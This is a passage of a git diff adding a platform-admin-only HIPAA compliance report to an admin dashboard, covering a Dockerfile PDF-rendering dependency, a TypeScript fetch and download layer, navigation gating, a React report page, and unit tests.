"status": "active", "roles": ["member"]}] + org_b_members = [{"user_id": 1, "email": "alice@kumc.edu", "status": "active", "roles": ["member"]}] + + report_a = await self._build( + _patch_all(org={"name": "Org A"}, members=org_a_members, login_success=shared_user_login), + organization_id=1, + ) + report_b = await self._build( + _patch_all(org={"name": "Org B"}, members=org_b_members, login_success=shared_user_login), + organization_id=2, + ) + + # Same underlying login event, attributed to BOTH organizations' + # reports -- login events carry no organization_id at the + # source (see service.py's own module docstring, gap #1), so a + # user who is a member of two orgs cannot be disambiguated + # further today. + self.assertEqual([r["user_label"] for r in report_a["user_access"]], ["alice@kumc.edu"]) + self.assertEqual([r["user_label"] for r in report_b["user_access"]], ["alice@kumc.edu"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/docker/Dockerfile b/docker/Dockerfile index 526c2c9..fe33417 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -18,6 +18,18 @@ RUN apt-get update && \ pkg-config \ libssl-dev \ libffi-dev \ + # HIPAA Basic Compliance Report v0.8.0: weasyprint (compliance/pdf.py) + # renders HTML/CSS to PDF via Pango/Cairo/GDK-Pixbuf, not a pure-Python + # PDF engine -- these are its real runtime dependencies, not just + # build-time ones (weasyprint imports libgobject at process start), + # so they're required here even though nothing else in this image + # needed them before. + libpango-1.0-0 \ + libpangocairo-1.0-0 \ + libgdk-pixbuf2.0-0 \ + libcairo2 \ + shared-mime-info \ + fonts-liberation \ && rm -rf /var/lib/apt/lists/* # ========================= diff --git a/frontend/cc-ui/src/apps/AdminApp.tsx b/frontend/cc-ui/src/apps/AdminApp.tsx index 6c62522..9bb5312 100644 --- a/frontend/cc-ui/src/apps/AdminApp.tsx +++ b/frontend/cc-ui/src/apps/AdminApp.tsx @@ -34,6 +34,7 @@ import AuditLogsPage from '../pages/audit/AuditLogsPage' import SessionsPage from '../pages/security/SessionsPage' import InteractionsPage from '../pages/InteractionsPage' import AnalyticsDashboard from '../pages/AnalyticsDashboard' +import ComplianceReport from '../pages/ComplianceReport' import SecurityDashboardPage from '../pages/security/SecurityDashboardPage' import OrganizationMFAPolicyPage from '../pages/security/OrganizationMFAPolicyPage' import AuthGate from './AuthGate' @@ -139,6 +140,10 @@ function AdminDashboard() { // GET /platform/orgs, GET /platform/audit-events (everything the // Security Dashboard reads) are all manage_all_orgs-gated. const canSeeSecurityOverview = hasPlatformAdminAccess() + // HIPAA Basic Compliance Report v0.8.0: same reasoning as + // canSeeAuditLogs -- GET /compliance/hipaa-report is manage_all_orgs- + // gated, not org-scoped (org_admin access deferred to v0.9.0). + const canSeeComplianceReport = hasPlatformAdminAccess() const [active, setActive] = useState(() => { if (window.location.pathname.startsWith('/organizations')) return 'organizations' @@ -332,7 +337,8 @@ function AdminDashboard() { ) : undefined} > {renderPage(active, { - canSeeOps, canSeeOrganizations, canSeeUsers, canSeeAuditLogs, canSeeInteractions, canSeeAnalytics, canSeeSecurityOverview, refreshKey, + canSeeOps, canSeeOrganizations, canSeeUsers, canSeeAuditLogs, canSeeInteractions, canSeeAnalytics, canSeeSecurityOverview, + canSeeComplianceReport, refreshKey, selectedOrgId, setSelectedOrgId, selectedUserId, setSelectedUserId, teamsOrgHint, rolesOrgHint, onViewTeams: handleViewTeams, onViewRoles: handleViewRoles, selectedSsoOrgId, setSelectedSsoOrgId, navigateToSsoSettings, @@ -353,6 +359,7 @@ interface RenderCtx { canSeeInteractions: boolean canSeeAnalytics: boolean canSeeSecurityOverview: boolean + canSeeComplianceReport: boolean refreshKey: number selectedOrgId: number | null setSelectedOrgId: (id: number | null) => void @@ -446,6 +453,15 @@ function renderPage(active: PageKey, ctx: RenderCtx) { if (!ctx.canSeeAuditLogs) return null return + // HIPAA Basic Compliance Report v0.8.0: flat platform-wide page, no + // org-picker/deep-link -- same shape as 'audit-logs' immediately + // above (the page itself offers an in-page organization select, + // since org_id is a required report parameter, not an optional + // filter the way 'analytics' below treats it). + case 'compliance-report': + if (!ctx.canSeeComplianceReport) return null + return + // PR-C: self-service, flat, no org-picker/deep-link and no gate -- // same shape as 'overview' above (no `ctx.canSeeX` check either). // omnibioai-auth's GET /sessions already scopes every response to diff --git a/frontend/cc-ui/src/auth.ts b/frontend/cc-ui/src/auth.ts index d1e29ef..a32fa09 100644 --- a/frontend/cc-ui/src/auth.ts +++ b/frontend/cc-ui/src/auth.ts @@ -249,6 +249,18 @@ export function canSeeAnalytics(): boolean { ) } +// HIPAA Basic Compliance Report v0.8.0. UX-only mirror of the backend's +// own compliance/router.py::_require_platform_admin -- platform_admin +// (manage_all_orgs) only. Unlike canSeeAnalytics above, deliberately no +// org_admin/team_admin branch: v0.8.0 scoped this report to +// platform_admin only (no org-scoped read path exists yet for two of the +// report's four sections -- see compliance/service.py's own module +// docstring), org_admin access is deferred to v0.9.0. The backend +// dependency re-checks this independently on every request regardless. +export function canSeeComplianceReport(): boolean { + return hasPlatformAdminAccess() +} + // Fired whenever a gated request comes back 401 (missing/expired/invalid // token) so App.tsx can drop back to the login screen without every // call site needing to know about auth. diff --git a/frontend/cc-ui/src/compliance.test.ts b/frontend/cc-ui/src/compliance.test.ts new file mode 100644 index 0000000..b42e0b0 --- /dev/null +++ b/frontend/cc-ui/src/compliance.test.ts @@ -0,0 +1,92 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import { downloadHipaaReportCsv, downloadHipaaReportPdf, fetchHipaaReport, type HipaaReport } from './compliance' +import * as auth from './auth' + +vi.mock('./auth', async () => { + const actual = await vi.importActual('./auth') + return { ...actual, authHeaders: vi.fn(() => ({})), reportUnauthorized: vi.fn() } +}) + +const REPORT: HipaaReport = { + organization_id: 1, + organization_name: 'KUMC Research', + from_date: '2026-08-01', + to_date: '2026-08-31', + generated_at: '2026-08-11T12:00:00Z', + generated_by: 'admin@omnibioai.org', + summary: { total_users: 2, active_users: 1, total_rag_queries: 3, failed_login_attempts: 0, security_events_requiring_review: 0 }, + user_access: [], + rag_queries: [], + security_events: [], + truncated: false, + sources_unavailable: [], +} + +describe('fetchHipaaReport', () => { + beforeEach(() => { + vi.stubGlobal('fetch', vi.fn()) + }) + afterEach(() => { + vi.unstubAllGlobals() + }) + + it('requests the expected query params', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(JSON.stringify(REPORT), { status: 200 })) + const report = await fetchHipaaReport({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 }) + expect(report.organization_name).toBe('KUMC Research') + const calledUrl = vi.mocked(fetch).mock.calls[0][0] as string + expect(calledUrl).toContain('/compliance/hipaa-report?') + expect(calledUrl).toContain('from_date=2026-08-01') + expect(calledUrl).toContain('to_date=2026-08-31') + expect(calledUrl).toContain('org_id=1') + }) + + it('throws on a non-ok response', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(null, { status: 403 })) + await expect(fetchHipaaReport({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 })).rejects.toThrow('403') + }) + + it('reports unauthorized on 401', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(null, { status: 401 })) + await expect(fetchHipaaReport({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 })).rejects.toThrow('401') + expect(auth.reportUnauthorized).toHaveBeenCalled() + }) +}) + +describe('downloadHipaaReportPdf / downloadHipaaReportCsv', () => { + // The blob/anchor-click download mechanism itself has no existing unit + // test anywhere in this codebase (exportAnalyticsCsv's identical + // mechanism is only ever exercised indirectly, through + // AnalyticsDashboard.test.tsx mocking the whole function out) -- + // jsdom's URL.createObjectURL isn't implemented by default, so it's + // stubbed here; a real anchor's .click() is safe in jsdom (no + // navigation happens for a blob: URL). + beforeEach(() => { + vi.stubGlobal('fetch', vi.fn()) + vi.stubGlobal('URL', { ...URL, createObjectURL: vi.fn(() => 'blob:mock'), revokeObjectURL: vi.fn() }) + }) + afterEach(() => { + vi.unstubAllGlobals() + }) + + it('downloads the PDF hitting the pdf endpoint', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(new Blob(['%PDF-1.7']), { status: 200 })) + await downloadHipaaReportPdf({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 }) + const calledUrl = vi.mocked(fetch).mock.calls[0][0] as string + expect(calledUrl).toContain('/compliance/hipaa-report/pdf?') + expect(URL.createObjectURL).toHaveBeenCalled() + }) + + it('downloads the CSV hitting the csv endpoint', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(new Blob(['col1,col2']), { status: 200 })) + await downloadHipaaReportCsv({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 }) + const calledUrl = vi.mocked(fetch).mock.calls[0][0] as string + expect(calledUrl).toContain('/compliance/hipaa-report/csv?') + expect(URL.createObjectURL).toHaveBeenCalled() + }) + + it('throws on a non-ok download response', async () => { + vi.mocked(fetch).mockResolvedValue(new Response(null, { status: 500 })) + await expect(downloadHipaaReportPdf({ fromDate: '2026-08-01', toDate: '2026-08-31', orgId: 1 })).rejects.toThrow('500') + }) +}) diff --git a/frontend/cc-ui/src/compliance.ts b/frontend/cc-ui/src/compliance.ts new file mode 100644 index 0000000..5cc340a --- /dev/null +++ b/frontend/cc-ui/src/compliance.ts @@ -0,0 +1,124 @@ +// HIPAA Basic Compliance Report v0.8.0. Data layer, mirroring analytics.ts's +// own shape exactly -- every call hits this service's own backend at a +// relative path (control_center.compliance.router, mounted at /compliance +// in main.py); no function here makes an authorization decision, that's +// entirely require_permission(manage_all_orgs)'s job server-side +// (401/403 re-checked on every single call below). +import { authHeaders, reportUnauthorized } from './auth' + +async function apiFetch(path: string, init: RequestInit = {}): Promise { + const r = await fetch(path, { + ...init, + headers: { ...authHeaders(), ...(init.headers ?? {}) }, + }) + if (r.status === 401) { + reportUnauthorized() + } + return r +} + +export interface HipaaReportFilters { + fromDate: string + toDate: string + orgId: number +} + +function buildQuery(filters: HipaaReportFilters): URLSearchParams { + const qs = new URLSearchParams() + qs.set('from_date', filters.fromDate) + qs.set('to_date', filters.toDate) + qs.set('org_id', String(filters.orgId)) + return qs +} + +// Mirrors control_center.compliance.service.build_report's response +// exactly (backend/src/control_center/compliance/service.py). +// +// Pre-merge security review fix: security_incidents (implying a legal/ +// HIPAA reportable determination this report never makes) is replaced +// by two separately-named counters -- failed_login_attempts (routine, +// expected noise) and security_events_requiring_review +// (role_assignment_denied/mfa_verification_failed specifically). +export interface HipaaReportSummary { + total_users: number + active_users: number + total_rag_queries: number + failed_login_attempts: number + security_events_requiring_review: number +} + +export interface HipaaReportUserAccessRow { + user_label: string + login_count: number + last_login: string | null + failed_attempts: number +} + +export interface HipaaReportRagQueryRow { + timestamp: string | null + user_label: string + trace_id: string | null +} + +export interface HipaaReportSecurityEventRow { + timestamp: string | null + label: string + actor_label: string + outcome: string + event_type: string +} + +export interface HipaaReport { + organization_id: number + organization_name: string + from_date: string + to_date: string + generated_at: string + generated_by: string + summary: HipaaReportSummary + user_access: HipaaReportUserAccessRow[] + rag_queries: HipaaReportRagQueryRow[] + security_events: HipaaReportSecurityEventRow[] + truncated: boolean + /** Pre-merge security review fix: human-readable names of data sources + * that failed during report generation (e.g. "RAG query events + * (omnibioai-billing)") -- a downstream outage is surfaced here rather + * than silently rendering as "this org had zero activity". Empty when + * every source responded successfully. */ + sources_unavailable: string[] +} + +export async function fetchHipaaReport(filters: HipaaReportFilters): Promise { + const qs = buildQuery(filters) + const r = await apiFetch(`/compliance/hipaa-report?${qs.toString()}`) + if (!r.ok) throw new Error(`/compliance/hipaa-report ${r.status}`) + return r.json() +} + +async function downloadFile(path: string, filename: string): Promise { + const r = await apiFetch(path) + if (!r.ok) throw new Error(`${path} ${r.status}`) + const blob = await r.blob() + const url = URL.createObjectURL(blob) + const a = document.createElement('a') + a.href = url + a.download = filename + document.body.appendChild(a) + a.click() + a.remove() + URL.revokeObjectURL(url) +} + +function filenameStem(filters: HipaaReportFilters): string { + return `hipaa-report-org${filters.orgId}-${filters.fromDate}-to-${filters.toDate}` +} + +export async function downloadHipaaReportPdf(filters: HipaaReportFilters): Promise { + const qs = buildQuery(filters) + await downloadFile(`/compliance/hipaa-report/pdf?${qs.toString()}`, `${filenameStem(filters)}.pdf`) +} + +export async function downloadHipaaReportCsv(filters: HipaaReportFilters): Promise { + const qs = buildQuery(filters) + await downloadFile(`/compliance/hipaa-report/csv?${qs.toString()}`, `${filenameStem(filters)}.csv`) +} diff --git a/frontend/cc-ui/src/navigation.test.ts b/frontend/cc-ui/src/navigation.test.ts index 250772a..09dc5f8 100644 --- a/frontend/cc-ui/src/navigation.test.ts +++ b/frontend/cc-ui/src/navigation.test.ts @@ -79,6 +79,42 @@ describe('navigation: Interactions placement', () => { }) }) +// HIPAA Basic Compliance Report v0.8.0. Same reasoning as the +// Sessions/Interactions blocks above. + +describe('navigation: Compliance Report placement', () => { + it('has exactly one "compliance-report" entry across the entire tree', () => { + const found: { sectionKey: string; parentKey?: string }[] = [] + for (const section of NAVIGATION) { + for (const item of section.items) { + if (item.key === 'compliance-report') found.push({ sectionKey: section.key }) + for (const child of item.children ?? []) { + if (child.key === 'compliance-report') found.push({ sectionKey: section.key, parentKey: item.key }) + } + } + } + expect(found).toHaveLength(1) + }) + + it('places "compliance-report" under the Security section, functional and gated', () => { + const securitySection = NAVIGATION.find(s => s.key === 'security') + expect(securitySection).toBeDefined() + + const complianceItem = securitySection!.items.find(i => i.key === 'compliance-report') + expect(complianceItem).toBeDefined() + expect(complianceItem!.functional).toBe(true) + // Same gate audit-logs uses -- GET /compliance/hipaa-report is + // manage_all_orgs-gated, not org-scoped. + expect(complianceItem!.visible).toBeDefined() + }) + + it('is a top-level Security item alongside Audit Logs, not nested under it', () => { + const securitySection = NAVIGATION.find(s => s.key === 'security')! + const complianceItem = securitySection.items.find(i => i.key === 'compliance-report')! + expect(complianceItem.children).toBeUndefined() + }) +}) + // PR-B6. Same reasoning as the Sessions/Interactions blocks above. describe('navigation: Integrations placement', () => { diff --git a/frontend/cc-ui/src/navigation.ts b/frontend/cc-ui/src/navigation.ts index dd8f65d..a699612 100644 --- a/frontend/cc-ui/src/navigation.ts +++ b/frontend/cc-ui/src/navigation.ts @@ -25,7 +25,7 @@ export type PageKey = | 'health' | 'docker' | 'ecosystem' | 'config' | 'llms' | 'cloud' | 'organizations' | 'users' | 'teams' | 'roles' | 'infrastructure' | 'workflows' | 'tool-execution' | 'ai-models' - | 'security-overview' | 'mfa-policy' | 'iam' | 'audit-logs' | 'sessions' | 'interactions' | 'api-keys' + | 'security-overview' | 'mfa-policy' | 'iam' | 'audit-logs' | 'sessions' | 'interactions' | 'api-keys' | 'compliance-report' | 'analytics' | 'billing' | 'rag' | 'pubmed' @@ -188,6 +188,16 @@ export const NAVIGATION: NavSection[] = [ // only thing that matters for security; this only decides // whether the nav entry renders. { key: 'audit-logs', label: 'Audit Logs', functional: true, visible: hasPlatformAdminAccess }, + // HIPAA Basic Compliance Report v0.8.0. Same hasPlatformAdminAccess + // gate 'audit-logs' immediately above uses, for the identical + // reason -- GET /compliance/hipaa-report is manage_all_orgs-gated + // (compliance/router.py), not org-scoped; org_admin access is + // deferred to v0.9.0 (see compliance/service.py's own module + // docstring for why no org-scoped read path exists yet for two of + // the report's four sections). Placed next to Audit Logs/ + // Interactions -- its closest technical precedent (platform-admin- + // only, date-ranged, reads the same underlying audit ledger). + { key: 'compliance-report', label: 'Compliance Report', functional: true, visible: hasPlatformAdminAccess }, // PR-C (Control Center Sessions Integration): promoted from Coming // Soon to a real page (SessionsPage). Unlike 'audit-logs' above // (platform-admin-only backend data), this is self-service -- diff --git a/frontend/cc-ui/src/pages/ComplianceReport.test.tsx b/frontend/cc-ui/src/pages/ComplianceReport.test.tsx new file mode 100644 index 0000000..10559f0 --- /dev/null +++ b/frontend/cc-ui/src/pages/ComplianceReport.test.tsx @@ -0,0 +1,193 @@ +import { render, screen, waitFor } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import { describe, it, expect, vi, beforeEach } from 'vitest' +import ComplianceReport from './ComplianceReport' +import * as compliance from '../compliance' +import type { HipaaReport } from '../compliance' +import * as organizations from '../organizations' +import type { PlatformOrgSummary } from '../organizations' + +vi.mock('../compliance', async () => { + const actual = await vi.importActual('../compliance') + return { + ...actual, + fetchHipaaReport: vi.fn(), + downloadHipaaReportPdf: vi.fn(), + downloadHipaaReportCsv: vi.fn(), + } +}) + +vi.mock('../organizations', async () => { + const actual = await vi.importActual('../organizations') + return { ...actual, fetchPlatformOrgs: vi.fn() } +}) + +const ORG_OPTIONS: PlatformOrgSummary[] = [ + { + id: 1, name: 'KUMC Research', status: 'active', owner_email: null, member_count: 2, team_count: 0, + api_key_count: 0, oauth_client_count: 0, license_count: 0, sso_enabled: false, + mfa_policy_required: false, mfa_policy_configured: false, created_at: '2026-07-01T00:00:00', + }, +] + +const REPORT: HipaaReport = { + organization_id: 1, + organization_name: 'KUMC Research', + from_date: '2026-08-01', + to_date: '2026-08-31', + generated_at: '2026-08-11T12:00:00Z', + generated_by: 'admin@omnibioai.org', + summary: { total_users: 2, active_users: 1, total_rag_queries: 1, failed_login_attempts: 1, security_events_requiring_review: 1 }, + user_access: [ + { user_label: 'alice@kumc.edu', login_count: 5, last_login: '2026-08-20T10:00:00', failed_attempts: 0 }, + ], + rag_queries: [ + { timestamp: '2026-08-10T09:00:00', user_label: 'alice@kumc.edu', trace_id: 'trace-1' }, + ], + security_events: [ + { timestamp: '2026-08-13T10:00:00', label: 'Role Assignment Denied', actor_label: 'bob@kumc.edu', outcome: 'deny', event_type: 'role_assignment_denied' }, + ], + truncated: false, + sources_unavailable: [], +} + +async function selectOrgAndGenerate(user: ReturnType) { + await user.selectOptions(screen.getByLabelText('Organization'), '1') + await user.click(screen.getByRole('button', { name: /Generate Report/ })) +} + +describe('ComplianceReport', () => { + beforeEach(() => { + vi.mocked(compliance.fetchHipaaReport).mockReset() + vi.mocked(compliance.downloadHipaaReportPdf).mockReset() + vi.mocked(compliance.downloadHipaaReportCsv).mockReset() + vi.mocked(organizations.fetchPlatformOrgs).mockResolvedValue({ items: ORG_OPTIONS, total: 1, page: 1, page_size: 100, total_pages: 1 }) + }) + + it('loads org options and disables Generate until one is picked', async () => { + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + expect(screen.getByRole('button', { name: /Generate Report/ })).toBeDisabled() + }) + + it('generates and renders the report preview', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + + await selectOrgAndGenerate(user) + + await waitFor(() => expect(screen.getByText(/KUMC Research \(org #1\)/)).toBeInTheDocument()) + // alice@kumc.edu legitimately appears in both the User Access Log and + // RAG Query Log tables -- same user, two different sections. + expect(screen.getAllByText('alice@kumc.edu').length).toBeGreaterThanOrEqual(2) + expect(screen.getByText('Role Assignment Denied')).toBeInTheDocument() + }) + + it('shows the renamed summary labels, not "Security Incidents"', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('Failed Login Attempts')).toBeInTheDocument()) + expect(screen.getByText('Security Events Requiring Review')).toBeInTheDocument() + expect(screen.queryByText('Security Incidents')).not.toBeInTheDocument() + }) + + it('warns when one or more data sources were unavailable', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ + ...REPORT, sources_unavailable: ['RAG query events (omnibioai-billing)'], + }) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText(/some data sources were unavailable/)).toBeInTheDocument()) + expect(screen.getByText(/RAG query events \(omnibioai-billing\)/)).toBeInTheDocument() + }) + + it('does not show the unavailable-sources warning when every source responded', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText(/KUMC Research \(org #1\)/)).toBeInTheDocument()) + expect(screen.queryByText(/some data sources were unavailable/)).not.toBeInTheDocument() + }) + + it('shows empty-state notes when a section has no rows', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ + ...REPORT, user_access: [], rag_queries: [], security_events: [], + }) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('No login activity recorded in this period.')).toBeInTheDocument()) + }) + + it('shows a permission-denied state on a 403', async () => { + vi.mocked(compliance.fetchHipaaReport).mockRejectedValue(new Error('/compliance/hipaa-report 403')) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('Permission denied')).toBeInTheDocument()) + }) + + it('shows a generic error state on a non-403 failure', async () => { + vi.mocked(compliance.fetchHipaaReport).mockRejectedValue(new Error('network error')) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('network error')).toBeInTheDocument()) + }) + + it('warns when the report is truncated', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ ...REPORT, truncated: true }) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('Report may be incomplete')).toBeInTheDocument()) + }) + + it('download buttons are disabled until a report is generated', async () => { + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + expect(screen.getByRole('button', { name: /Download PDF/ })).toBeDisabled() + expect(screen.getByRole('button', { name: /Download CSV/ })).toBeDisabled() + }) + + it('clicking Download PDF calls downloadHipaaReportPdf with the current filters', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + vi.mocked(compliance.downloadHipaaReportPdf).mockResolvedValue(undefined) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByRole('button', { name: /Download PDF/ })).not.toBeDisabled()) + + await user.click(screen.getByRole('button', { name: /Download PDF/ })) + await waitFor(() => expect(compliance.downloadHipaaReportPdf).toHaveBeenCalledWith( + expect.objectContaining({ orgId: 1 }), + )) + }) + + it('clicking Download CSV calls downloadHipaaReportCsv and surfaces a failure', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + vi.mocked(compliance.downloadHipaaReportCsv).mockRejectedValue(new Error('boom')) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByRole('button', { name: /Download CSV/ })).not.toBeDisabled()) + + await user.click(screen.getByRole('button', { name: /Download CSV/ })) + await waitFor(() => expect(screen.getByText(/Download failed: boom/)).toBeInTheDocument()) + }) +}) diff --git a/frontend/cc-ui/src/pages/ComplianceReport.tsx b/frontend/cc-ui/src/pages/ComplianceReport.tsx new file mode 100644 index 0000000..17ae5b7 --- /dev/null +++ b/frontend/cc-ui/src/pages/ComplianceReport.tsx @@ -0,0 +1,268 @@ +import { useEffect, useState } from 'react' +import { AlertTriangle, Download, FileText } from 'lucide-react' +import { + downloadHipaaReportCsv, downloadHipaaReportPdf, fetchHipaaReport, + type HipaaReport, type HipaaReportFilters, +} from '../compliance' +import { fetchPlatformOrgs, type PlatformOrgSummary } from '../organizations' +import { + ActionToolbar, Button, Card, DataTable, EmptyState, ErrorState, LoadingState, SectionHeader, StatCard, +} from '../components/ui' +import { formatDate } from '../format' + +// HIPAA Basic Compliance Report v0.8.0. platform_admin-only (see +// auth.ts::canSeeComplianceReport's own comment for why org_admin isn't +// offered yet) -- AdminApp.tsx gates the nav entry/route on that, this +// page also renders the same EmptyState AnalyticsDashboard.tsx uses on a +// 403, as defense in depth if reached some other way. +// +// Deliberately NOT auto-loaded on mount like AnalyticsDashboard.tsx -- +// generating this report is a real, potentially-expensive fan-out across +// two other services (see compliance/service.py), so it only runs on an +// explicit "Generate Report" click, matching the task brief's own button +// list. Download buttons stay disabled until a report has actually been +// generated for the currently-selected org/range, so a download can +// never target a combination this page hasn't already confirmed is +// valid (org exists, from_date <= to_date -- both re-validated by the +// backend regardless). + +const selectStyle: React.CSSProperties = { + fontSize: 12, padding: '7px 10px', borderRadius: 8, + border: '1px solid var(--border)', background: 'var(--surface)', color: 'var(--text)', +} +const fieldLabel: React.CSSProperties = { fontSize: 12, fontWeight: 600, color: 'var(--text2)', marginBottom: 4, display: 'block' } + +function isoDateDaysAgo(days: number): string { + const d = new Date() + d.setDate(d.getDate() - (days - 1)) + return d.toISOString().slice(0, 10) +} + +function todayIso(): string { + return new Date().toISOString().slice(0, 10) +} + +export default function ComplianceReport() { + const [fromDate, setFromDate] = useState(isoDateDaysAgo(30)) + const [toDate, setToDate] = useState(todayIso()) + const [orgOptions, setOrgOptions] = useState(null) + const [orgId, setOrgId] = useState(undefined) + + const [report, setReport] = useState(null) + const [loading, setLoading] = useState(false) + const [error, setError] = useState(null) + const [denied, setDenied] = useState(false) + const [downloadError, setDownloadError] = useState(null) + const [downloading, setDownloading] = useState<'pdf' | 'csv' | null>(null) + + useEffect(() => { + fetchPlatformOrgs({ pageSize: 100 }).then(r => setOrgOptions(r.items)).catch(() => setOrgOptions(null)) + }, []) + + const currentFilters = (): HipaaReportFilters | null => { + if (orgId == null) return null + return { fromDate, toDate, orgId } + } + + const handleGenerate = () => { + const filters = currentFilters() + if (!filters) return + setLoading(true) + setError(null) + setDenied(false) + setReport(null) + fetchHipaaReport(filters) + .then(setReport) + .catch((e: unknown) => { + const message = e instanceof Error ? e.message : String(e) + if (message.endsWith(' 403')) setDenied(true) + else setError(message) + }) + .finally(() => setLoading(false)) + } + + const handleDownload = async (kind: 'pdf' | 'csv') => { + const filters = currentFilters() + if (!filters) return + setDownloadError(null) + setDownloading(kind) + try { + await (kind === 'pdf' ? downloadHipaaReportPdf(filters) : downloadHipaaReportCsv(filters)) + } catch (e: unknown) { + setDownloadError(e instanceof Error ? e.message : String(e)) + } finally { + setDownloading(null) + } + } + + const canGenerate = orgId != null && fromDate <= toDate && !loading + + return ( +
+ + + +
+
+ + setFromDate(e.target.value)} + /> +
+
+ + setToDate(e.target.value)} + /> +
+
+ + +
+ + + + + +
+ {fromDate > toDate && ( +
From date must be on or before to date.
+ )} +
+ + {downloadError && ( +
+ setDownloadError(null)} /> +
+ )} + + {denied && ( + + )} + + {loading && } + {!loading && error && } + + {!loading && !error && !denied && report && } +
+ ) +} + +function ReportPreview({ report }: { report: HipaaReport }) { + return ( + <> + {report.truncated && ( +
+ +
+ )} + + {report.sources_unavailable.length > 0 && ( +
+ +
+ )} + + +
+ {report.organization_name} (org #{report.organization_id}) · {report.from_date} to {report.to_date} +
+ Generated {formatDate(report.generated_at)} by {report.generated_by} +
+
+ + + + 0 ? 'amber' : 'default'} + /> + 0 ? 'red' : 'default'} + /> +
+
+ + +
User Access Log
+ r.user_label }, + { key: 'logins', header: 'Login Count', render: (r: typeof report.user_access[number]) => r.login_count }, + { key: 'last', header: 'Last Login', render: (r: typeof report.user_access[number]) => r.last_login ? formatDate(r.last_login) : '—' }, + { key: 'failed', header: 'Failed Attempts', render: (r: typeof report.user_access[number]) => r.failed_attempts }, + ]} + rows={report.user_access} + rowKey={r => r.user_label} + emptyLabel="No login activity recorded in this period." + /> +
+ + +
RAG Query Log
+ r.timestamp ? formatDate(r.timestamp) : '—' }, + { key: 'user', header: 'User', render: (r: typeof report.rag_queries[number]) => r.user_label }, + { key: 'trace', header: 'Trace ID', render: (r: typeof report.rag_queries[number]) => r.trace_id ?? '—' }, + ]} + rows={report.rag_queries} + rowKey={r => `${r.trace_id ?? 'no-trace'}-${r.timestamp ?? ''}-${r.user_label}`} + emptyLabel="No RAG queries recorded in this period." + /> +
+ + +
Security Events
+ r.timestamp ? formatDate(r.timestamp) : '—' }, + { key: 'event', header: 'Event', render: (r: typeof report.security_events[number]) => r.label }, + { key: 'actor', header: 'Actor', render: (r: typeof report.security_events[number]) => r.actor_label }, + { + key: 'outcome', header: 'Outcome', + render: (r: typeof report.security_events[number]) => ( + {r.outcome} + ), + }, + ]} + rows={report.security_events} + rowKey={r => `${r.event_type}-${r.timestamp ?? ''}-${r.actor_label}`} + emptyLabel="No security events recorded in this period." + /> +
+ + ) +}